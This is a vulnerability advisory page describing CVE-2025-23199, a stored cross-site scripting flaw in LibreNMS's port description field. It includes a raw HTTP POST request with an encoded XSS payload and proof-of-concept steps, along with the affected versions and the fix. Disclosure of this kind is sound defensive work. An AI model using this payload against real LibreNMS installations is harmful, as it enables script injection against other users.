Advisory Database
  • Advisories
  • Dependency Scanning
  1. composer
  2. ›
  3. librenms/librenms
  4. ›
  5. CVE-2025-23199

CVE-2025-23199: LibreNMS Ports Stored Cross-site Scripting vulnerability

January 16, 2025 (updated March 25, 2025)

StoredXSS-LibreNMS-Ports

Description:

Stored XSS on the parameter: /ajax_form.php -> param: descr

Request:

POST /ajax_form.php HTTP/1.1
Host: <your_host>
X-Requested-With: XMLHttpRequest
X-CSRF-TOKEN: <your_XSRF_token>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: <your_cookie>

type=update-ifalias&descr=%22%3E%3Cimg+src+onerror%3D%22alert(1)%22%3E&ifName=lo&port_id=1&device_id=1

of Librenms version 24.10.1 (https://github.com/librenms/librenms) allows remote attackers to inject malicious scripts. When a user views or interacts with the page displaying the data, the malicious script executes immediately, leading to potential unauthorized actions or data exposure.

Proof of Concept:

  1. Add a new device through the LibreNMS interface.
  2. Edit the newly created device and select the “ports” section.
  3. In the “Description” field, enter the following payload: "><img src onerror="alert(1)">.
  4. Save the changes.
  5. The XSS vulnerability is triggered when accessing the “ports” tab, and the payload is executed again when hovering over the modified value in the “Port” field.

Payload:

Click to open external image

References

  • github.com/advisories/GHSA-27vf-3g4f-6jp7
  • github.com/librenms/librenms
  • github.com/librenms/librenms/commit/9d07d166b87634091dcf21c62b28f9b42a3118c4
  • github.com/librenms/librenms/pull/16721
  • github.com/librenms/librenms/security/advisories/GHSA-27vf-3g4f-6jp7
  • nvd.nist.gov/vuln/detail/CVE-2025-23199

Code Behaviors & Features

Detect and mitigate CVE-2025-23199 with GitLab Dependency Scanning

Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →

Affected versions

All versions before 24.11.0

Fixed versions

  • 24.11.0

Solution

Upgrade to version 24.11.0 or above.

Impact 4.6 MEDIUM

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N

Learn more about CVSS

Weakness

  • CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Source file

packagist/librenms/librenms/CVE-2025-23199.yml

Spotted a mistake? Edit the file on GitLab.

  • Site Repo
  • About GitLab
  • Terms
  • Privacy Statement
  • Contact

Page generated Wed, 14 May 2025 12:16:04 +0000.